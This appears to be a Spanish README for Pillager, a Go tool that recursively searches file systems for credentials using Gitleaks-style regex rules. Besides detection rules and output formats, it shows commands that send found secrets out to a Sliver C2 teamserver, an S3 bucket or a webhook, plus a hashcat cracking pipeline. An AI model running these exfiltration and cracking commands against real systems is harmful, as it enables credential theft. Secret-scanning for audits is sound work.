
Saquear sistemas de archivos en busca de información sensible con Go 🔍
Saquea sistemas de archivos en busca de información sensible con Go.
Pillager está diseñado para proporcionar un medio sencillo de aprovechar el sólido modelo de concurrencia de Go para buscar recursivamente en directorios información sensible en archivos. Pillager lo hace apoyándose en los hombros de unos cuantos gigantes. Una vez que Pillager encuentra archivos que coinciden con el patrón especificado, el archivo se escanea utilizando una serie de trabajadores concurrentes que toman cada línea del archivo de la cola de trabajos y buscan coincidencias de patrones sensibles. Los filtros de patrón disponibles se pueden definir en un archivo pillager.toml o se puede usar el conjunto de reglas predeterminado.
Si tienes Go configurado en tu sistema, puedes instalar Pillager con go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Si buscas un binario, consulta las últimas versiones para encontrar el ejecutable que coincida con tu sistema.
Para ver todos los comandos disponibles con pillager
# Para ver instrucciones de toda la aplicación
pillager
# Desde cualquier subcomando
pillager [cmd] --help
Pillager proporciona una interfaz de usuario de terminal construida con bubbletea si deseas escanear secretos de forma interactiva.
Envía secretos descubiertos a destinos remotos: Sliver C2 (almacenes de botín/credenciales), S3/MinIO (almacenamiento en la nube) o Webhooks (puntos finales HTTP personalizados).
# Sliver C2 - Enviar al teamserver con análisis de credenciales
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Subir con cifrado
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST a un endpoint personalizado
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Seguridad: Cifrado AES-256-GCM (--exfil-encrypt), TLS por defecto, metadatos automáticos (nombre de host, marca de tiempo)
Pillager proporciona soporte completo para las reglas de Gitleaks1. Estas se pueden pasar con una sección de reglas2 en tu archivo pillager.toml, o puedes usar el conjunto de reglas predeterminado dejando el indicador de configuración en blanco.
# pillager.toml
# Configuración básica
verbose = false
redact = false
# Reglas para detección de secretos
[[rules]]
description = "Clave de acceso AWS"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "Clave secreta AWS"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "Token de GitHub"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Clave privada"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuración de lista blanca
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager tiene una serie de formatos de salida incorporados disponibles. ¡Elige tu favorito!
pillager hunt .
pillager hunt ./example -f json | jq
La salida JSON está diseñada para funcionar sin problemas con la increíble utilidad jq para un análisis sencillo.
# Usa pillager para generar una wordlist delimitada por nueva línea a partir de los hallazgos
pillager hunt . -f wordlist
# Usa pillager para añadir a una wordlist y luego usa tu modo de ataque hashcat favorito
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secreto: {{.Secret}}{{end}}"
Pillager te permite usar potentes funciones de go text/template y sprig para personalizar el formato de salida. Aquí tienes algunos ejemplos de plantillas.
{{ range . -}}
Archivo: {{ .File }}
Secreto: {{ .Secret}}
Descripción: {{ quote .Description }}
{{ end -}}
# Resultados
{{ range . -}}
## {{ .File }}
- Ubicación: {{.StartLine}}
{{end}}
Más ejemplos de plantillas se pueden encontrar en el directorio templates.
La documentación de GoDoc está disponible en pkg.go.dev para pillager.
Para involucrarte en el desarrollo de características y correcciones para Pillager, comienza con lo siguiente:
¿Qué es Cobra?
Cobra es una librería que proporciona una interfaz simple para crear potentes interfaces CLI modernas similares a las herramientas git y go. Cobra también es una aplicación que generará el esqueleto de tu aplicación para desarrollar rápidamente una aplicación basada en Cobra.
Si alguna vez has visto una CLI escrita en Go, hay una alta probabilidad de que se haya construido con Cobra. No puedo recomendar esta librería lo suficiente. Empodera a los desarrolladores para crear herramientas de línea de comandos consistentes, dinámicas y autodocumentadas con facilidad.
Algunos ejemplos incluyen kubectl, hugo y la CLI gh de Github.
¿Qué es Gitleaks?
Gitleaks1 es una herramienta SAST para detectar secretos codificados como contraseñas, claves API y tokens en repositorios git.
Gitleaks es una herramienta increíble para la prevención de fugas de secretos. Si aún no has implementado Gitleaks como comprobador de pre-commit, vale la pena echarle un vistazo.
¿Por qué es relevante Gitleaks para Pillager?
Pillager implementa la potente funcionalidad de reglas de Gitleaks, adoptando un enfoque diferente para presentar y manejar los secretos encontrados. Aunque he proporcionado un conjunto base de reglas predeterminadas, Pillager se vuelve mucho más potente si permites a los usuarios crear reglas para sus propios casos de uso.
Consulta las reglas incluidas2 para un conjunto base de reglas.
No hace falta decirlo, pero lo diré de todos modos: no soy responsable de ninguna repercusión causada por tu uso de pillager. Esta herramienta está destinada para uso defensivo, educativo y para investigadores de seguridad con el consentimiento de todas las partes involucradas. No se condona ni se fomenta el comportamiento malicioso con pillager. Úsala de manera responsable y asegúrate de tener permiso para escanear en busca de secretos en cualquier sistema antes de hacerlo.
En su núcleo, Pillager está diseñado para ayudarte a determinar si un sistema se ve afectado por fuentes comunes de fuga de credenciales, según lo documentado por el framework MITRE ATT&CK3.
Técnica MITRE ATT&CK - T1552,003 - Credenciales no seguras: Historial de Bash
Técnica MITRE ATT&CK - T1552,001 - Credenciales no seguras: Credenciales en archivos
pillager hunt . -t "$(cat mytemplate.tmpl)"